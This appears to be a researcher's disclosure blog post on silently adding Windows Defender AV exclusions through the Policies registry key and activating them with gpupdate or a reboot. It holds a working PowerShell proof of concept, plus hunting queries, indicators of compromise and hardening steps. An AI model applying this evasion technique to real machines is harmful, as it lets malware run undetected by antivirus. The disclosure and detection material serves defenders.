Create persistent Defender AV exclusions and circumvent Defender for Endpoint detection
A user with administrative permissions is able to create Defender AV exclusions without using the Add-MPPrefence
cmdlet. Because of the way the exclusion is created, most public guidelines and hunting queries on detecting this kind of change won’t detect it.
Even more troubling is the fact that Microsoft Defender for Endpoint will not log any of those changes made. Therefore it’s not easy to detect and could go undetected for security personnel which relies on those queries and products.
And before you dismiss this because it needs administrative permission, these days it’s quite easy to get SYSTEM. Just install a printer. 😉
Affected products
Operating systems
As far as I can tell this method works on all current Windows operating systems. Due to time constrains I only tested the latest versions.
- Windows Server 2019
- Windows 10 Enterprise 21H1 19043.1083
- Windows 11 Enterprise Build 22000.65
Defender AV
AMEngineVersion | 1.1.18300.4 |
AMProductVersion | 4.18.2106.6 |
AMServiceVersion | 4.18.2106.6 |
AntispywareSignatureVersion | 1.343.943.0 |
AntivirusSignatureVersion | 1.343.943.0 |
NISEngineVersion | 1.1.18300.4 |
NISSignatureVersion | 1.343.943.0 |
Defender AV exclusions
Let’s start with how Microsoft Defender AV stores it’s configuration for exclusions. This configuration is, depending on the configuration entity, at multiple places in the registry.
The first and most often used location is HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
. This registry key is protected by the kernel-mode driver (wdfilter.sys) and even the SYSTEM user is not able to create a new value in this key. Any attempt to create a new value is blocked.
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\TESTEicar\" -Value 0 -PropertyType String -Force
The only way to create an exception here, is using the Defender AV GUI or the Defender AV PowerShell module Add-MPPrefence
.
Those changes are detected and reported by most EDR solutions.
Legacy systems and SCEP
If your environment still runs so called “legacy” OS versions, that do not have Defender AV built-in, you have to watch different registry keys. Legacy operating system are everything below Windows Server 2016.
That is because the System Center Endpoint Protection (SCEP) AV Client installed on those OS versions stores it’s configuration under:
HKLM:\SOFTWARE\Microsoft\Microsoft Antimalware
Circumvent wdfilter.sys protections
To bypass the security measures protecting HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
it is not needed to start an sophisticated attack. Just use the second, mostly ignored configuration location for exclusions.
HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths
Any user with administrator permissions can create a new value in this registry key, which is normally used for exclusions defined in group policies. But, as I will show in the POC, it is not enough to just create a new value here.
Proof of concept
To reproduce this behavior create a folder and add this folder as an exclusion to the Policies
registry key. The script will check if the necessary registry keys are present and if not will create them for you.
$Path = "C:\TESTEicar\"
New-Item -Type Directory -Path $Path
Get-MpPreference | Select -ExpandProperty ExclusionPath
if ( ( Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" )-eq $false ) {
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\" -Name 'Paths' -Force
}
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name $Path -Value 0 -PropertyType String -Force
Get-MpPreference | Select -ExpandProperty ExclusionPath
The Get-MpPreference
will show the new exclusion, but if you would deploy your payload right now, it still would be detected. The exclusion is not yet “activated”.
To activate the exclusion the group policy client has to process it. Depending on the system configuration the attacker would have to chose one of the following ways to archive that.
If there is already a local group policy present or the computer is domain joined, then a gpupdate /force
is sufficient to apply the new exclusions.
Invoke-GPUpdate
because it is not present by default, and installing additional components would be more noise than necessary. Since gpupdate.exe
is present on every Windows OS let’s just use it instead.If there is no local group policy applied and the computer is not domain joined than a reboot is needed to activate the exclusion. Since this would be very obvious to the enduser an alternative would be to create an empty local group policy and then update the group policy. In this POC I go the easy route and just reboot the computer.
if ( (Test-Path "C:\Windows\System32\GroupPolicy\Machine\Registry.pol") -or (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain ) {
gpupdate /force
} else {
Restart-Computer -Force
}
Configure local administrator merge behavior for lists
is disabled, the added registry value is not deleted. This has to do with the fact, that one client can apply multiple group policies and the exclusions in those group policies are all applied.Now to test the exclusion, create a file containing the EICAR test string. After the file is created scan the directory and read the content to verify that the exclusion is working as expected.
$Path = "C:\TESTEicar\"
cd $Path
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicartest.file
Start-MpScan -ScanType CustomScan -ScanPath C:\TESTEicar\
Get-Content .\eicartest.file
As you can see in the screenshot, the new exclusion is working and the EICAR file is not detected.
HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Paths
does not have to be created.Cleanup
$Path = "C:\TESTEicar\"
rm "$Path\eicartest.file"
rm $Path
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name $Path
gpupdate /force
Behavior by design
I contacted the Microsoft Security Response Center about this behavior and after doing a repro of the reported issue they came to the following conclusion
Detection
Missing detection in Microsoft Defender for Endpoint
Since the release of this blog post I have been in contact with MSFT and they added detection of those changes to MDE.
Since this is expected behavior from the svchost.exe
process there is no auto alarm setting and you will have to create your own detection rule for unwanted changes to those registry keys.
Since this behavior is by design and a won’t fix at the moment, your favorite EDR solution should still report any changes made to Defender AV exclusions.
But all those changes are completely hidden from Microsoft Defender for Endpoint. While any changes made in key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions
are reported as suspicious and through advanced hunting and custom detection rules you can even isolate any device if this behavior is monitored, you will not find any changes made to the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions
in the advanced hunting data.
Therefore your security personnel cannot detect this change and is unable to response to the threat.
DeviceRegistryEvents
| where RegistryKey startswith "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions"
When looking a more closely Microsoft has only included two registry keys and four values in their monitoring
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
- DisableAntiSpyware
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableRealtimeMonitoring
- DisableIOAVProtection
- DisableBehaviorMonitoring
DeviceRegistryEvents
| where RegistryKey startswith "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
| project ActionType, RegistryKey = tolower(RegistryKey), RegistryValueName
| distinct ActionType, RegistryKey, RegistryValueName
Sysmon
I also tried the awesome sysmon configuration file courtesy by SwiftOnSecurity. Right from the start it would not detect the created new registry keys.
With very little modification I was able to include the registry keys.
|
|
While normal GPO based exclusions are made by svchost.exe
…
…the bad one in the POC was created by powershell.exe
It would be possible to exclude the changes made by svchost.exe
, but this data is valuable as well. This would make it possible to spot rough GPO based attacks in the future.
Indicators of compromise
As I demonstrated, in addition to the default keys monitored, every change to the following registry keys can be a problem.
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Path
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\IpAddresses
HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Path
(SCEP)HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Processes
(SCEP)HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Extensions
(SCEP)
Best would be to monitor every registry change under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\
and HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\
(SCEP) that is not made by svchost.exe
.
Another way to check for unwanted changes is the Defender cmdlet Get-MpPreference
or the GUI. But this is not a feasible way to monitor this on scale.
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Hardening
Luckily it is easy to make the live for the attacker a bit harder.
Apply local group policy that disables all exclusions and set Configure local administrator merge behavior for lists
via domain GPO to disabled.
This results in a Registry.pol
file that actively deletes all manually created registry values when the local policy is applied. Since this process is needed to activate the bad exclusions as well it’s a great way to clean up.
In an Active Directory environment with centrally managed group policies, exceptions defined in the domain group policies are still applied, but the additional locally created registry value is deleted.
To deploy this change on scale, you could leverage LGPO which is part of the Microsoft Security Compliance Toolkit and include it in your deployment pipeline or MDM solution. This hardening configuration should be applied to servers as well as clients.
You can download this prepared LGPO text file DisableExclusions.txt and use it to import the correct settings. I will not distribute a pre compiled POL file.
# Create POL file
.\LGPO.exe /r .\DisableExclusions.txt /w reg.pol
# Import POL file to local machine configuration
.\LGPO.exe /m reg.pol
Since the attacker could change the local group policy settings as well, it is a weak protection, but still makes the attack a bit more noisy and takes more effort.
Test cases
Here you can see the different test cases I did in validating the behavior.
Domain Joined | Test description | Result |
---|---|---|
No | Create exclusion reg key, write EICAR | Detected |
No | Create exclusion reg key, gpupdate /force, write EICAR | Detected |
No | Create exclusion reg key, restart computer, write EICAR | Not detected |
No | Create local policy, Create exclusion reg key, gpupdate /force, write EICAR | Not detected |
No | Local policy present, create exclusion reg key, gpupdate /force, write EICAR | Not detected |
No | Exclusion disabled in local group policy, create reg key, gpupdate /force, write EICAR | Detected |
Yes | Create exclusion reg key, write EICAR | Detected |
Yes | Create exclusion reg key, gpupdate /force, write EICAR | Not detected |
Yes | Exclusion disabled in local group policy, create reg key, gpupdate /force, write EICAR | Detected |
Acknowledgements
Thanks to Chris Brumm for validating the behavior and for mentioning the missing detection in Microsoft Defender for Endpoint. Without him I would not have tested if it’s possible to create and activate those exclusions. Check out his Blog especially the post on Defender AV exclusions.